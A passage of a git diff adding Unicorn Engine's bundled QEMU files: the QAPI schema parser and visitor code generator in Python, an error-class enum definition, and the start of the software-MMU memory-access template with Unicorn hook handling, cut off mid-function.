+out_end: + error_propagate(errp, err); + err = NULL; + visit_end_implicit_struct(m, &err); +out: + error_propagate(errp, err); +} +''') + + return ret + + +def generate_visit_union(expr): + + name = expr['union'] + members = expr['data'] + + base = expr.get('base') + discriminator = expr.get('discriminator') + + if discriminator == {}: + assert not base + return generate_visit_anon_union(name, members) + + enum_define = discriminator_find_enum_define(expr) + if enum_define: + # Use the enum type as discriminator + ret = "" + disc_type = enum_define['enum_name'] + else: + # There will always be a discriminator in the C switch code, by default it + # is an enum type generated silently as "'%sKind' % (name)" + ret = generate_visit_enum('%sKind' % name, members.keys()) + disc_type = '%sKind' % (name) + + if base: + base_fields = find_struct(base)['data'] + if discriminator: + base_fields = base_fields.copy() + del base_fields[discriminator] + ret += generate_visit_struct_fields(name, "", "", base_fields) + + if discriminator: + for key in members: + ret += generate_visit_implicit_struct(members[key]) + + ret += mcgen(''' + +void visit_type_%(name)s(Visitor *m, %(name)s **obj, const char *name, Error **errp) +{ + Error *err = NULL; + + visit_start_struct(m, (void **)obj, "%(name)s", name, sizeof(%(name)s), &err); + if (err) { + goto out; + } + if (*obj) { +''', + name=name) + + if base: + ret += mcgen(''' + visit_type_%(name)s_fields(m, obj, &err); + if (err) { + goto out_obj; + } +''', + name=name) + + if not discriminator: + disc_key = "type" + else: + disc_key = discriminator + ret += mcgen(''' + visit_type_%(disc_type)s(m, &(*obj)->kind, "%(disc_key)s", &err); + if (err) { + goto out_obj; + } + if (!visit_start_union(m, !!(*obj)->data, &err) || err) { + goto out_obj; + } + switch ((*obj)->kind) { +''', + disc_type = disc_type, + disc_key = disc_key) + + for key in members: + if not discriminator: + fmt = 'visit_type_%(c_type)s(m, &(*obj)->%(c_name)s, "data", &err);' + else: + fmt = 'visit_type_implicit_%(c_type)s(m, &(*obj)->%(c_name)s, &err);' + + enum_full_value = generate_enum_full_value(disc_type, key) + ret += mcgen(''' + case %(enum_full_value)s: + ''' + fmt + ''' + break; +''', + enum_full_value = enum_full_value, + c_type=type_name(members[key]), + c_name=c_fun(key)) + + ret += mcgen(''' + default: + abort(); + } +out_obj: + error_propagate(errp, err); + err = NULL; + visit_end_union(m, !!(*obj)->data, &err); + error_propagate(errp, err); + err = NULL; + } + visit_end_struct(m, &err); +out: + error_propagate(errp, err); +} +''') + + return ret + +def generate_declaration(name, members, genlist=True, builtin_type=False): + ret = "" + if not builtin_type: + ret += mcgen(''' + +void visit_type_%(name)s(Visitor *m, %(name)s **obj, const char *name, Error **errp); +''', + name=name) + + if genlist: + ret += mcgen(''' +void visit_type_%(name)sList(Visitor *m, %(name)sList **obj, const char *name, Error **errp); +''', + name=name) + + return ret + +def generate_enum_declaration(name, members, genlist=True): + ret = "" + if genlist: + ret += mcgen(''' +void visit_type_%(name)sList(Visitor *m, %(name)sList **obj, const char *name, Error **errp); +''', + name=name) + + return ret + +def generate_decl_enum(name, members, genlist=True): + return mcgen(''' + +void visit_type_%(name)s(Visitor *m, %(name)s *obj, const char *name, Error **errp); +''', + name=name) + +try: + opts, args = getopt.gnu_getopt(sys.argv[1:], "chbp:i:o:", + ["source", "header", "builtins", "prefix=", + "input-file=", "output-dir="]) +except getopt.GetoptError as err: + print(str(err)) + sys.exit(1) + +input_file = "" +output_dir = "" +prefix = "" +c_file = 'qapi-visit.c' +h_file = 'qapi-visit.h' + +do_c = False +do_h = False +do_builtins = False + +for o, a in opts: + if o in ("-p", "--prefix"): + prefix = a + elif o in ("-i", "--input-file"): + input_file = a + elif o in ("-o", "--output-dir"): + output_dir = a + "/" + elif o in ("-c", "--source"): + do_c = True + elif o in ("-h", "--header"): + do_h = True + elif o in ("-b", "--builtins"): + do_builtins = True + +if not do_c and not do_h: + do_c = True + do_h = True + +c_file = output_dir + prefix + c_file +h_file = output_dir + prefix + h_file + +try: + os.makedirs(output_dir) +except os.error as e: + if e.errno != errno.EEXIST: + raise + +def maybe_open(really, name, opt): + if really: + return open(name, opt) + else: + try: + import StringIO + return StringIO.StringIO() + except ImportError: + from io import StringIO + return StringIO() + +fdef = maybe_open(do_c, c_file, 'w') +fdecl = maybe_open(do_h, h_file, 'w') + +fdef.write(mcgen(''' +/* THIS FILE IS AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI visitor functions + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qemu-common.h" +#include "%(header)s" +''', + header=basename(h_file))) + +fdecl.write(mcgen(''' +/* THIS FILE IS AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI visitor functions + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef %(guard)s +#define %(guard)s + +#include "qapi/visitor.h" +#include "%(prefix)sqapi-types.h" + +''', + prefix=prefix, guard=guardname(h_file))) + +exprs = parse_schema(input_file) + +# to avoid header dependency hell, we always generate declarations +# for built-in types in our header files and simply guard them +fdecl.write(guardstart("QAPI_VISIT_BUILTIN_VISITOR_DECL")) +for typename in builtin_types: + fdecl.write(generate_declaration(typename, None, genlist=True, + builtin_type=True)) +fdecl.write(guardend("QAPI_VISIT_BUILTIN_VISITOR_DECL")) + +# ...this doesn't work for cases where we link in multiple objects that +# have the functions defined, so we use -b option to provide control +# over these cases +if do_builtins: + for typename in builtin_types: + fdef.write(generate_visit_list(typename, None)) + +for expr in exprs: + if 'type' in expr: + ret = generate_visit_struct(expr) + ret += generate_visit_list(expr['type'], expr['data']) + fdef.write(ret) + + ret = generate_declaration(expr['type'], expr['data']) + fdecl.write(ret) + elif 'union' in expr: + ret = generate_visit_union(expr) + ret += generate_visit_list(expr['union'], expr['data']) + fdef.write(ret) + + enum_define = discriminator_find_enum_define(expr) + ret = "" + if not enum_define: + ret = generate_decl_enum('%sKind' % expr['union'], + expr['data'].keys()) + ret += generate_declaration(expr['union'], expr['data']) + fdecl.write(ret) + elif 'enum' in expr: + ret = generate_visit_list(expr['enum'], expr['data']) + ret += generate_visit_enum(expr['enum'], expr['data']) + fdef.write(ret) + + ret = generate_decl_enum(expr['enum'], expr['data']) + ret += generate_enum_declaration(expr['enum'], expr['data']) + fdecl.write(ret) + +fdecl.write(''' +#endif +''') + +fdecl.flush() +fdecl.close() + +fdef.flush() +fdef.close() diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi.py b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi.py new file mode 100644 index 0000000..429f211 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi.py @@ -0,0 +1,605 @@ +# +# QAPI helper library +# +# Copyright IBM, Corp. 2011 +# Copyright (c) 2013 Red Hat Inc. +# +# Authors: +# Anthony Liguori +# Markus Armbruster +# +# This work is licensed under the terms of the GNU GPL, version 2. +# See the COPYING file in the top-level directory. + +import re +from ordereddict import OrderedDict +import os +import sys + +try: + basestring +except NameError: + basestring = str + +builtin_types = [ + 'str', 'int', 'number', 'bool', + 'int8', 'int16', 'int32', 'int64', + 'uint8', 'uint16', 'uint32', 'uint64' +] + +builtin_type_qtypes = { + 'str': 'QTYPE_QSTRING', + 'int': 'QTYPE_QINT', + 'number': 'QTYPE_QFLOAT', + 'bool': 'QTYPE_QBOOL', + 'int8': 'QTYPE_QINT', + 'int16': 'QTYPE_QINT', + 'int32': 'QTYPE_QINT', + 'int64': 'QTYPE_QINT', + 'uint8': 'QTYPE_QINT', + 'uint16': 'QTYPE_QINT', + 'uint32': 'QTYPE_QINT', + 'uint64': 'QTYPE_QINT', +} + +def error_path(parent): + res = "" + while parent: + res = ("In file included from %s:%d:\n" % (parent['file'], + parent['line'])) + res + parent = parent['parent'] + return res + +class QAPISchemaError(Exception): + def __init__(self, schema, msg): + self.input_file = schema.input_file + self.msg = msg + self.col = 1 + self.line = schema.line + for ch in schema.src[schema.line_pos:schema.pos]: + if ch == '\t': + self.col = (self.col + 7) % 8 + 1 + else: + self.col += 1 + self.info = schema.parent_info + + def __str__(self): + return error_path(self.info) + \ + "%s:%d:%d: %s" % (self.input_file, self.line, self.col, self.msg) + +class QAPIExprError(Exception): + def __init__(self, expr_info, msg): + self.info = expr_info + self.msg = msg + + def __str__(self): + return error_path(self.info['parent']) + \ + "%s:%d: %s" % (self.info['file'], self.info['line'], self.msg) + +class QAPISchema: + + def __init__(self, fp, input_relname=None, include_hist=[], + previously_included=[], parent_info=None): + """ include_hist is a stack used to detect inclusion cycles + previously_included is a global state used to avoid multiple + inclusions of the same file""" + input_fname = os.path.abspath(fp.name) + if input_relname is None: + input_relname = fp.name + self.input_dir = os.path.dirname(input_fname) + self.input_file = input_relname + self.include_hist = include_hist + [(input_relname, input_fname)] + previously_included.append(input_fname) + self.parent_info = parent_info + self.src = fp.read() + if self.src == '' or self.src[-1] != '\n': + self.src += '\n' + self.cursor = 0 + self.line = 1 + self.line_pos = 0 + self.exprs = [] + self.accept() + + while self.tok != None: + expr_info = {'file': input_relname, 'line': self.line, 'parent': self.parent_info} + expr = self.get_expr(False) + if isinstance(expr, dict) and "include" in expr: + if len(expr) != 1: + raise QAPIExprError(expr_info, "Invalid 'include' directive") + include = expr["include"] + if not isinstance(include, str): + raise QAPIExprError(expr_info, + 'Expected a file name (string), got: %s' + % include) + include_path = os.path.join(self.input_dir, include) + for elem in self.include_hist: + if include_path == elem[1]: + raise QAPIExprError(expr_info, "Inclusion loop for %s" + % include) + # skip multiple include of the same file + if include_path in previously_included: + continue + try: + fobj = open(include_path, 'r') + except IOError as e: + raise QAPIExprError(expr_info, + '%s: %s' % (e.strerror, include)) + exprs_include = QAPISchema(fobj, include, self.include_hist, + previously_included, expr_info) + self.exprs.extend(exprs_include.exprs) + else: + expr_elem = {'expr': expr, + 'info': expr_info} + self.exprs.append(expr_elem) + + def accept(self): + while True: + self.tok = self.src[self.cursor] + self.pos = self.cursor + self.cursor += 1 + self.val = None + + if self.tok == '#': + self.cursor = self.src.find('\n', self.cursor) + elif self.tok in ['{', '}', ':', ',', '[', ']']: + return + elif self.tok == "'": + string = '' + esc = False + while True: + ch = self.src[self.cursor] + self.cursor += 1 + if ch == '\n': + raise QAPISchemaError(self, + 'Missing terminating "\'"') + if esc: + string += ch + esc = False + elif ch == "\\": + esc = True + elif ch == "'": + self.val = string + return + else: + string += ch + elif self.tok == '\n': + if self.cursor == len(self.src): + self.tok = None + return + self.line += 1 + self.line_pos = self.cursor + elif not self.tok.isspace(): + raise QAPISchemaError(self, 'Stray "%s"' % self.tok) + + def get_members(self): + expr = OrderedDict() + if self.tok == '}': + self.accept() + return expr + if self.tok != "'": + raise QAPISchemaError(self, 'Expected string or "}"') + while True: + key = self.val + self.accept() + if self.tok != ':': + raise QAPISchemaError(self, 'Expected ":"') + self.accept() + if key in expr: + raise QAPISchemaError(self, 'Duplicate key "%s"' % key) + expr[key] = self.get_expr(True) + if self.tok == '}': + self.accept() + return expr + if self.tok != ',': + raise QAPISchemaError(self, 'Expected "," or "}"') + self.accept() + if self.tok != "'": + raise QAPISchemaError(self, 'Expected string') + + def get_values(self): + expr = [] + if self.tok == ']': + self.accept() + return expr + if not self.tok in [ '{', '[', "'" ]: + raise QAPISchemaError(self, 'Expected "{", "[", "]" or string') + while True: + expr.append(self.get_expr(True)) + if self.tok == ']': + self.accept() + return expr + if self.tok != ',': + raise QAPISchemaError(self, 'Expected "," or "]"') + self.accept() + + def get_expr(self, nested): + if self.tok != '{' and not nested: + raise QAPISchemaError(self, 'Expected "{"') + if self.tok == '{': + self.accept() + expr = self.get_members() + elif self.tok == '[': + self.accept() + expr = self.get_values() + elif self.tok == "'": + expr = self.val + self.accept() + else: + raise QAPISchemaError(self, 'Expected "{", "[" or string') + return expr + +def find_base_fields(base): + base_struct_define = find_struct(base) + if not base_struct_define: + return None + return base_struct_define['data'] + +# Return the discriminator enum define if discriminator is specified as an +# enum type, otherwise return None. +def discriminator_find_enum_define(expr): + base = expr.get('base') + discriminator = expr.get('discriminator') + + if not (discriminator and base): + return None + + base_fields = find_base_fields(base) + if not base_fields: + return None + + discriminator_type = base_fields.get(discriminator) + if not discriminator_type: + return None + + return find_enum(discriminator_type) + +def check_event(expr, expr_info): + params = expr.get('data') + if params: + for argname, argentry, optional, structured in parse_args(params): + if structured: + raise QAPIExprError(expr_info, + "Nested structure define in event is not " + "supported, event '%s', argname '%s'" + % (expr['event'], argname)) + +def check_union(expr, expr_info): + name = expr['union'] + base = expr.get('base') + discriminator = expr.get('discriminator') + members = expr['data'] + + # If the object has a member 'base', its value must name a complex type. + if base: + base_fields = find_base_fields(base) + if not base_fields: + raise QAPIExprError(expr_info, + "Base '%s' is not a valid type" + % base) + + # If the union object has no member 'discriminator', it's an + # ordinary union. + if not discriminator: + enum_define = None + + # Else if the value of member 'discriminator' is {}, it's an + # anonymous union. + elif discriminator == {}: + enum_define = None + + # Else, it's a flat union. + else: + # The object must have a member 'base'. + if not base: + raise QAPIExprError(expr_info, + "Flat union '%s' must have a base field" + % name) + # The value of member 'discriminator' must name a member of the + # base type. + discriminator_type = base_fields.get(discriminator) + if not discriminator_type: + raise QAPIExprError(expr_info, + "Discriminator '%s' is not a member of base " + "type '%s'" + % (discriminator, base)) + enum_define = find_enum(discriminator_type) + # Do not allow string discriminator + if not enum_define: + raise QAPIExprError(expr_info, + "Discriminator '%s' must be of enumeration " + "type" % discriminator) + + # Check every branch + for (key, value) in members.items(): + # If this named member's value names an enum type, then all members + # of 'data' must also be members of the enum type. + if enum_define and not key in enum_define['enum_values']: + raise QAPIExprError(expr_info, + "Discriminator value '%s' is not found in " + "enum '%s'" % + (key, enum_define["enum_name"])) + # Todo: add checking for values. Key is checked as above, value can be + # also checked here, but we need more functions to handle array case. + +def check_exprs(schema): + for expr_elem in schema.exprs: + expr = expr_elem['expr'] + if 'union' in expr: + check_union(expr, expr_elem['info']) + if 'event' in expr: + check_event(expr, expr_elem['info']) + +def parse_schema(input_file): + try: + schema = QAPISchema(open(input_file, "r")) + except (QAPISchemaError, QAPIExprError) as e: + print >>sys.stderr, e + exit(1) + + exprs = [] + + for expr_elem in schema.exprs: + expr = expr_elem['expr'] + if 'enum' in expr: + add_enum(expr['enum'], expr['data']) + elif 'union' in expr: + add_union(expr) + elif 'type' in expr: + add_struct(expr) + exprs.append(expr) + + # Try again for hidden UnionKind enum + for expr_elem in schema.exprs: + expr = expr_elem['expr'] + if 'union' in expr: + if not discriminator_find_enum_define(expr): + add_enum('%sKind' % expr['union']) + + try: + check_exprs(schema) + except QAPIExprError as e: + print >>sys.stderr, e + exit(1) + + return exprs + +def parse_args(typeinfo): + if isinstance(typeinfo, basestring): + struct = find_struct(typeinfo) + assert struct != None + typeinfo = struct['data'] + + for member in typeinfo: + argname = member + argentry = typeinfo[member] + optional = False + structured = False + if member.startswith('*'): + argname = member[1:] + optional = True + if isinstance(argentry, OrderedDict): + structured = True + yield (argname, argentry, optional, structured) + +def de_camel_case(name): + new_name = '' + for ch in name: + if ch.isupper() and new_name: + new_name += '_' + if ch == '-': + new_name += '_' + else: + new_name += ch.lower() + return new_name + +def camel_case(name): + new_name = '' + first = True + for ch in name: + if ch in ['_', '-']: + first = True + elif first: + new_name += ch.upper() + first = False + else: + new_name += ch.lower() + return new_name + +def c_var(name, protect=True): + # ANSI X3J11/88-090, 3.1.1 + c89_words = set(['auto', 'break', 'case', 'char', 'const', 'continue', + 'default', 'do', 'double', 'else', 'enum', 'extern', 'float', + 'for', 'goto', 'if', 'int', 'long', 'register', 'return', + 'short', 'signed', 'sizeof', 'static', 'struct', 'switch', + 'typedef', 'union', 'unsigned', 'void', 'volatile', 'while']) + # ISO/IEC 9899:1999, 6.4.1 + c99_words = set(['inline', 'restrict', '_Bool', '_Complex', '_Imaginary']) + # ISO/IEC 9899:2011, 6.4.1 + c11_words = set(['_Alignas', '_Alignof', '_Atomic', '_Generic', '_Noreturn', + '_Static_assert', '_Thread_local']) + # GCC http://gcc.gnu.org/onlinedocs/gcc-4.7.1/gcc/C-Extensions.html + # excluding _.* + gcc_words = set(['asm', 'typeof']) + # C++ ISO/IEC 14882:2003 2.11 + cpp_words = set(['bool', 'catch', 'class', 'const_cast', 'delete', + 'dynamic_cast', 'explicit', 'false', 'friend', 'mutable', + 'namespace', 'new', 'operator', 'private', 'protected', + 'public', 'reinterpret_cast', 'static_cast', 'template', + 'this', 'throw', 'true', 'try', 'typeid', 'typename', + 'using', 'virtual', 'wchar_t', + # alternative representations + 'and', 'and_eq', 'bitand', 'bitor', 'compl', 'not', + 'not_eq', 'or', 'or_eq', 'xor', 'xor_eq']) + # namespace pollution: + polluted_words = set(['unix', 'errno']) + if protect and (name in c89_words | c99_words | c11_words | gcc_words | cpp_words | polluted_words): + return "q_" + name + return name.replace('-', '_').lstrip("*") + +def c_fun(name, protect=True): + return c_var(name, protect).replace('.', '_') + +def c_list_type(name): + return '%sList' % name + +def type_name(name): + if type(name) == list: + return c_list_type(name[0]) + return name + +enum_types = [] +struct_types = [] +union_types = [] + +def add_struct(definition): + global struct_types + struct_types.append(definition) + +def find_struct(name): + global struct_types + for struct in struct_types: + if struct['type'] == name: + return struct + return None + +def add_union(definition): + global union_types + union_types.append(definition) + +def find_union(name): + global union_types + for union in union_types: + if union['union'] == name: + return union + return None + +def add_enum(name, enum_values = None): + global enum_types + enum_types.append({"enum_name": name, "enum_values": enum_values}) + +def find_enum(name): + global enum_types + for enum in enum_types: + if enum['enum_name'] == name: + return enum + return None + +def is_enum(name): + return find_enum(name) != None + +eatspace = '\033EATSPACE.' + +# A special suffix is added in c_type() for pointer types, and it's +# stripped in mcgen(). So please notice this when you check the return +# value of c_type() outside mcgen(). +def c_type(name, is_param=False): + if name == 'str': + if is_param: + return 'const char *' + eatspace + return 'char *' + eatspace + + elif name == 'int': + return 'int64_t' + elif (name == 'int8' or name == 'int16' or name == 'int32' or + name == 'int64' or name == 'uint8' or name == 'uint16' or + name == 'uint32' or name == 'uint64'): + return name + '_t' + elif name == 'size': + return 'uint64_t' + elif name == 'bool': + return 'bool' + elif name == 'number': + return 'double' + elif type(name) == list: + return '%s *%s' % (c_list_type(name[0]), eatspace) + elif is_enum(name): + return name + elif name == None or len(name) == 0: + return 'void' + elif name == name.upper(): + return '%sEvent *%s' % (camel_case(name), eatspace) + else: + return '%s *%s' % (name, eatspace) + +def is_c_ptr(name): + suffix = "*" + eatspace + return c_type(name).endswith(suffix) + +def genindent(count): + ret = "" + for i in range(count): + ret += " " + return ret + +indent_level = 0 + +def push_indent(indent_amount=4): + global indent_level + indent_level += indent_amount + +def pop_indent(indent_amount=4): + global indent_level + indent_level -= indent_amount + +def cgen(code, **kwds): + indent = genindent(indent_level) + lines = code.split('\n') + lines = map(lambda x: indent + x, lines) + return '\n'.join(lines) % kwds + '\n' + +def mcgen(code, **kwds): + raw = cgen('\n'.join(code.split('\n')[1:-1]), **kwds) + return re.sub(re.escape(eatspace) + ' *', '', raw) + +def basename(filename): + return filename.split("/")[-1] + +def guardname(filename): + guard = basename(filename).rsplit(".", 1)[0] + for substr in [".", " ", "-"]: + guard = guard.replace(substr, "_") + return guard.upper() + '_H' + +def guardstart(name): + return mcgen(''' + +#ifndef %(name)s +#define %(name)s + +''', + name=guardname(name)) + +def guardend(name): + return mcgen(''' + +#endif /* %(name)s */ + +''', + name=guardname(name)) + +# ENUMName -> ENUM_NAME, EnumName1 -> ENUM_NAME1 +# ENUM_NAME -> ENUM_NAME, ENUM_NAME1 -> ENUM_NAME1, ENUM_Name2 -> ENUM_NAME2 +# ENUM24_Name -> ENUM24_NAME +def _generate_enum_string(value): + c_fun_str = c_fun(value, False) + if value.isupper(): + return c_fun_str + + new_name = '' + l = len(c_fun_str) + for i in range(l): + c = c_fun_str[i] + # When c is upper and no "_" appears before, do more checks + if c.isupper() and (i > 0) and c_fun_str[i - 1] != "_": + # Case 1: next string is lower + # Case 2: previous string is digit + if (i < (l - 1) and c_fun_str[i + 1].islower()) or \ + c_fun_str[i - 1].isdigit(): + new_name += '_' + new_name += c + return new_name.lstrip('_').upper() + +def generate_enum_full_value(enum_name, enum_value): + abbrev_string = _generate_enum_string(enum_name) + value_string = _generate_enum_string(enum_value) + return "%s_%s" % (abbrev_string, value_string) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi/common.json b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi/common.json new file mode 100644 index 0000000..c87eac4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/scripts/qapi/common.json @@ -0,0 +1,30 @@ +# -*- Mode: Python -*- +# +# QAPI common definitions + +## +# @ErrorClass +# +# QEMU error classes +# +# @GenericError: this is used for errors that don't require a specific error +# class. This should be the default case for most errors +# +# @CommandNotFound: the requested command has not been found +# +# @DeviceEncrypted: the requested operation can't be fulfilled because the +# selected device is encrypted +# +# @DeviceNotActive: a device has failed to be become active +# +# @DeviceNotFound: the requested device has not been found +# +# @KVMMissingCap: the requested operation can't be fulfilled because a +# required KVM capability is missing +# +# Since: 1.2 +## +{ 'enum': 'ErrorClass', + 'data': [ 'GenericError', 'CommandNotFound', 'DeviceEncrypted', + 'DeviceNotActive', 'DeviceNotFound', 'KVMMissingCap' ] } + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/softmmu_template.h b/ai_anti_malware/unicorn/unicorn-master/qemu/softmmu_template.h new file mode 100644 index 0000000..3e8fa9f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/softmmu_template.h @@ -0,0 +1,1091 @@ +/* + * Software MMU support + * + * Generate helpers used by TCG for qemu_ld/st ops and code load + * functions. + * + * Included from target op helpers and exec.c. + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "qemu/timer.h" +#include "exec/address-spaces.h" +#include "exec/memory.h" +#include "uc_priv.h" + +#define DATA_SIZE (1 << SHIFT) + +#if DATA_SIZE == 8 +#define SUFFIX q +#define LSUFFIX q +#define SDATA_TYPE int64_t +#define DATA_TYPE uint64_t +#elif DATA_SIZE == 4 +#define SUFFIX l +#define LSUFFIX l +#define SDATA_TYPE int32_t +#define DATA_TYPE uint32_t +#elif DATA_SIZE == 2 +#define SUFFIX w +#define LSUFFIX uw +#define SDATA_TYPE int16_t +#define DATA_TYPE uint16_t +#elif DATA_SIZE == 1 +#define SUFFIX b +#define LSUFFIX ub +#define SDATA_TYPE int8_t +#define DATA_TYPE uint8_t +#else +#error unsupported data size +#endif + + +/* For the benefit of TCG generated code, we want to avoid the complication + of ABI-specific return type promotion and always return a value extended + to the register size of the host. This is tcg_target_long, except in the + case of a 32-bit host and 64-bit data, and for that we always have + uint64_t. Don't bother with this widened value for SOFTMMU_CODE_ACCESS. */ +#if defined(SOFTMMU_CODE_ACCESS) || DATA_SIZE == 8 +# define WORD_TYPE DATA_TYPE +# define USUFFIX SUFFIX +#else +# define WORD_TYPE tcg_target_ulong +# define USUFFIX glue(u, SUFFIX) +# define SSUFFIX glue(s, SUFFIX) +#endif + +#ifdef SOFTMMU_CODE_ACCESS +#define READ_ACCESS_TYPE MMU_INST_FETCH +#define ADDR_READ addr_code +#else +#define READ_ACCESS_TYPE MMU_DATA_LOAD +#define ADDR_READ addr_read +#endif + +#if DATA_SIZE == 8 +# define BSWAP(X) bswap64(X) +#elif DATA_SIZE == 4 +# define BSWAP(X) bswap32(X) +#elif DATA_SIZE == 2 +# define BSWAP(X) bswap16(X) +#else +# define BSWAP(X) (X) +#endif + +#ifdef TARGET_WORDS_BIGENDIAN +# define TGT_BE(X) (X) +# define TGT_LE(X) BSWAP(X) +#else +# define TGT_BE(X) BSWAP(X) +# define TGT_LE(X) (X) +#endif + +#if DATA_SIZE == 1 +# define helper_le_ld_name glue(glue(helper_ret_ld, USUFFIX), MMUSUFFIX) +# define helper_be_ld_name helper_le_ld_name +# define helper_le_lds_name glue(glue(helper_ret_ld, SSUFFIX), MMUSUFFIX) +# define helper_be_lds_name helper_le_lds_name +# define helper_le_st_name glue(glue(helper_ret_st, SUFFIX), MMUSUFFIX) +# define helper_be_st_name helper_le_st_name +#else +# define helper_le_ld_name glue(glue(helper_le_ld, USUFFIX), MMUSUFFIX) +# define helper_be_ld_name glue(glue(helper_be_ld, USUFFIX), MMUSUFFIX) +# define helper_le_lds_name glue(glue(helper_le_ld, SSUFFIX), MMUSUFFIX) +# define helper_be_lds_name glue(glue(helper_be_ld, SSUFFIX), MMUSUFFIX) +# define helper_le_st_name glue(glue(helper_le_st, SUFFIX), MMUSUFFIX) +# define helper_be_st_name glue(glue(helper_be_st, SUFFIX), MMUSUFFIX) +#endif + +#ifdef TARGET_WORDS_BIGENDIAN +# define helper_te_ld_name helper_be_ld_name +# define helper_te_st_name helper_be_st_name +#else +# define helper_te_ld_name helper_le_ld_name +# define helper_te_st_name helper_le_st_name +#endif + +/* macro to check the victim tlb */ +#define VICTIM_TLB_HIT(ty) \ + /* we are about to do a page table walk. our last hope is the \ + * victim tlb. try to refill from the victim tlb before walking the \ + * page table. */ \ + int vidx; \ + hwaddr tmpiotlb; \ + CPUTLBEntry tmptlb; \ + for (vidx = CPU_VTLB_SIZE-1; vidx >= 0; --vidx) { \ + if (env->tlb_v_table[mmu_idx][vidx].ty == (addr & TARGET_PAGE_MASK)) {\ + /* found entry in victim tlb, swap tlb and iotlb */ \ + tmptlb = env->tlb_table[mmu_idx][index]; \ + env->tlb_table[mmu_idx][index] = env->tlb_v_table[mmu_idx][vidx]; \ + env->tlb_v_table[mmu_idx][vidx] = tmptlb; \ + tmpiotlb = env->iotlb[mmu_idx][index]; \ + env->iotlb[mmu_idx][index] = env->iotlb_v[mmu_idx][vidx]; \ + env->iotlb_v[mmu_idx][vidx] = tmpiotlb; \ + break; \ + } \ + } \ + /* return true when there is a vtlb hit, i.e. vidx >=0 */ \ + return (vidx >= 0) + +#ifndef victim_tlb_hit_funcs +#define victim_tlb_hit_funcs +static inline bool victim_tlb_hit_read(CPUArchState *env, target_ulong addr, int mmu_idx, int index) +{ + VICTIM_TLB_HIT(ADDR_READ); +} + +static inline bool victim_tlb_hit_write(CPUArchState *env, target_ulong addr, int mmu_idx, int index) +{ + VICTIM_TLB_HIT(addr_write); +} +#endif // victim_tlb_hit_funcs + +#ifndef SOFTMMU_CODE_ACCESS +static inline DATA_TYPE glue(io_read, SUFFIX)(CPUArchState *env, + hwaddr physaddr, + target_ulong addr, + uintptr_t retaddr) +{ + uint64_t val; + CPUState *cpu = ENV_GET_CPU(env); + MemoryRegion *mr = iotlb_to_region(cpu->as, physaddr); + + physaddr = (physaddr & TARGET_PAGE_MASK) + addr; + cpu->mem_io_pc = retaddr; + if (mr != &(cpu->uc->io_mem_rom) && mr != &(cpu->uc->io_mem_notdirty) + && !cpu_can_do_io(cpu)) { + cpu_io_recompile(cpu, retaddr); + } + + cpu->mem_io_vaddr = addr; + io_mem_read(mr, physaddr, &val, 1 << SHIFT); + return (DATA_TYPE)val; +} +#endif + +#ifdef SOFTMMU_CODE_ACCESS +static QEMU_UNUSED_FUNC +#endif +WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, + uintptr_t retaddr) +{ + int index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + target_ulong tlb_addr = env->tlb_table[mmu_idx][index].ADDR_READ; + uintptr_t haddr; + DATA_TYPE res; + int error_code; + struct hook *hook; + bool handled; + HOOK_FOREACH_VAR_DECLARE; + + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + + // memory might be still unmapped while reading or fetching + if (mr == NULL) { + handled = false; +#if defined(SOFTMMU_CODE_ACCESS) + error_code = UC_ERR_FETCH_UNMAPPED; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_FETCH_UNMAPPED) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_FETCH_UNMAPPED, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } +#else + error_code = UC_ERR_READ_UNMAPPED; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ_UNMAPPED) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_READ_UNMAPPED, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } +#endif + if (handled) { + env->invalid_error = UC_ERR_OK; + mr = memory_mapping(uc, addr); // FIXME: what if mr is still NULL at this time? + } else { + env->invalid_addr = addr; + env->invalid_error = error_code; + // printf("***** Invalid fetch (unmapped memory) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } + +#if defined(SOFTMMU_CODE_ACCESS) + // Unicorn: callback on fetch from NX + if (mr != NULL && !(mr->perms & UC_PROT_EXEC)) { // non-executable + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_FETCH_PROT) { + if (hook->to_delete) + continue; + if 